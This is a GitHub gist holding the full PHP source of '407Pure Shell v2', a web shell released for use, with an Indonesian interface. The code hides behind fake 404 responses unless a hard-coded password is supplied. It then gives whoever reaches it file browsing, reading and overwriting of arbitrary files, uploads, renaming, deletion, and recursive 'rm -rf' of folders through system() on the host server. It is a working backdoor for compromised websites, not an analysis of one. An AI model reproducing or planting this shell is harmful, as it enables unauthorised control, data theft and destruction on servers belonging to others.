Last active
March 13, 2019 13:21
-
-
Save menkrep1337/dfa8bcf248b602fa060bf51612446293 to your computer and use it in GitHub Desktop.
407Pure Shell v2 - Release
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
/////// | |
$pass="herp1337"; // Ganti Password | |
/////// | |
http_response_code(404); | |
if(isset($_GET["login"])){ | |
global $pass; | |
if($_GET["login"]==$pass) http_response_code(200); | |
else{ | |
die(); | |
http_response_code(404); | |
} | |
} | |
else die() | |
/////////////////////////// | |
?> | |
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> | |
<title>407 Mini Shell - Menkrep1337</title> | |
<body bgcolor="black"></body> | |
<style> | |
#border { | |
border: 1px dotted blue; | |
background: black; | |
color: white; | |
} | |
#border2 { | |
border: 1px dotted blue; | |
background: black; | |
width: 140px; | |
color: white; | |
} | |
#file { | |
color: #98FF00; | |
width: 100%; | |
height: 30px; | |
overflow-y: scroll; | |
} | |
a { | |
color: white; | |
border: 1px dotted #E700FF; | |
text-decoration: none; | |
} | |
#asu { | |
border: 1px solid green; | |
} | |
#asu2 { | |
border: 1px solid green; | |
background-color: black; | |
} | |
#dir { | |
color: yellow; | |
width: 100%; | |
heigth: 30px; | |
overflow-y: scroll; | |
} | |
#can { | |
color: cyan; | |
background: black; | |
} | |
input { | |
border-radius: 15px; | |
border: 1px solid green; | |
color: black; | |
} | |
#button { | |
border-radius: 15px; | |
border: 1px solid yellow; | |
color: white; | |
background: black; | |
} | |
#hitler { | |
border-radius: 15px; | |
border: 1px solid cyan; | |
color: white; | |
background: black; | |
} | |
</style> | |
<div id="asu2"> | |
<tt><font color="lime"><? echo php_uname() ?><br>+----------+</font></tt> | |
<br> | |
<? | |
$path=getcwd(); | |
echo "<font color='cyan'>Path: <font color='white'><i>".getcwd()."</i></font></font>"; | |
?><br> | |
<a href="?login=<? echo $pass; ?>&dir=<? echo $path; ?>&folder=<? echo $path; ?>">Buat Folder</a> | |
<form method="POST" action="" enctype="multipart/form-data"> | |
<hr> | |
<input type="file" value="Upload" name="berkas" id="button"> | |
<input type="submit" value="Kirim" id="hitler"> | |
</form> | |
</div> | |
<? | |
if(isset($_GET["folder"])){ | |
$xz=$_GET["folder"]; | |
echo " | |
<form method='POST' action=''> | |
<center> | |
<hr> | |
<input type='hidden' name='fpath' value='$xz'> | |
<input type='text' placeholder='Masukkan Nama Folder' name='foldername'> | |
<input type='submit' id='button' value='Buat'></input> | |
</center> | |
</form> | |
"; | |
} | |
if(isset($_GET["rename"])){ | |
$xz=$_GET["rename"]; | |
$mod=$_GET["mod"]; | |
echo " | |
<form method='POST' action=''> | |
<center> | |
<hr> | |
<input type='hidden' name='mod' value='$mod'> | |
<input type='hidden' name='ren' value='$xz'> | |
<input type='text' placeholder='Masukkan Nama Ganti' name='change'> | |
<input type='submit' id='button' value='Ganti'></input> | |
</center> | |
</form> | |
"; | |
} | |
?> | |
<? | |
if($_SERVER["REQUEST_METHOD"]=="POST"){ | |
if(isset($_POST["fpath"])){ | |
$title=$_POST["foldername"]; | |
$lokasi=$_POST["fpath"]; | |
mkdir($lokasi."/".$title); | |
echo "<script>window.history.back()</script>"; | |
} | |
if(isset($_POST["change"])){ | |
$awal=$_POST["ren"]; | |
$yamato=$_POST["mod"]; | |
$matilda=$_POST["change"]; | |
rename($awal,$yamato."/".$matilda); | |
echo "<script>window.history.back()</script>"; | |
} | |
if(isset($_POST["content"])){ | |
$isi=$_POST["content"]; | |
$location=$_POST["location"]; | |
file_put_contents($location,$isi); | |
echo "<script>window.history.back()</script>"; | |
} | |
} | |
if(isset($_GET["open"])){ | |
$files=$_GET["open"]; | |
$content=file_get_contents($files); | |
echo '<form method="POST" action="">'; | |
echo " | |
<center><textarea rows=20 cols=45 id='asu' name='content'>$content</textarea> | |
<br> | |
<input type='hidden' value='$files' name='location'></input> | |
<input type='submit' id='border2' value='Simpan Berkas Ini'></input> | |
</form> | |
<hr>"; | |
die(); | |
} | |
?> | |
<div id="border"> | |
<? | |
// | |
if(isset($_GET["dir"])){ | |
$path=$_GET["dir"]; | |
} | |
else{ | |
$path=getcwd(); | |
} | |
$list=scandir($path); | |
foreach($list as $item){ | |
global $pass; | |
if($item==".." || $item=="."){ | |
echo " | |
<div id=\"dir\">$item</div><br> | |
<a href='?login=$pass&dir=$path/$item'>Open Folder</a> | |
<br><hr>"; | |
continue; | |
} | |
if(is_file($path."/".$item)){ | |
$size=filesize($path."/".$item); | |
echo " | |
<div id=\"file\">$item <font color='white'>- $size Bytes</font></div> | |
<a href='?login=$pass&open=$path/$item'>Edit File</a> | |
<a href='?login=$pass&unlink=$path/$item'>Hapus File</a> | |
<a href='?login=$pass&rename=$path/$item&mod=$path'>Rename</a> | |
<br><hr>"; | |
} | |
else{ | |
echo " | |
<div id=\"dir\">$item</div><br> | |
<a href='?login=$pass&dir=$path/$item'>Open Folder</a> | |
<a href='?login=$pass&dir=$path&rmdir=$path/$item'>Delete</a> | |
<a href='?login=$pass&rename=$path/$item&mod=$path'>Rename</a> | |
<br><hr>"; | |
} | |
} | |
?> | |
</div> | |
<? | |
function hapus($folder){ | |
system("rm -rf ".escapeshellarg($folder),$value); | |
return $value; | |
} | |
if(isset($_GET["rmdir"])){ | |
$test=hapus($_GET["rmdir"]); | |
if($test==0) echo "<script>alert('Berhasil Menghapus Folder');window.history.back()</script>"; | |
else echo "<script>alert('Gagal Menghapus Folder');window.history.back()</script>"; | |
} | |
if(isset($_GET["unlink"])){ | |
$test=unlink($_GET["unlink"]); | |
if($test==true) echo "<script>alert('Berhasil Menghapus Berkas');window.history.back()</script>"; | |
else echo "<script>alert('Gagal Menghapus Berkas');window.history.back()</script>"; | |
} | |
if(isset($_FILES["berkas"])){ | |
$fnama=$_FILES["berkas"]["name"]; | |
$ftmp=$_FILES["berkas"]["tmp_name"]; | |
$ussr=move_uploaded_file($ftmp,$_GET["dir"].$fnama); | |
if($ussr){ | |
echo "<script>alert('Upload Berhasil')</script>"; | |
} | |
else{ | |
echo "<script>alert('Upload Gagal')</script>"; | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment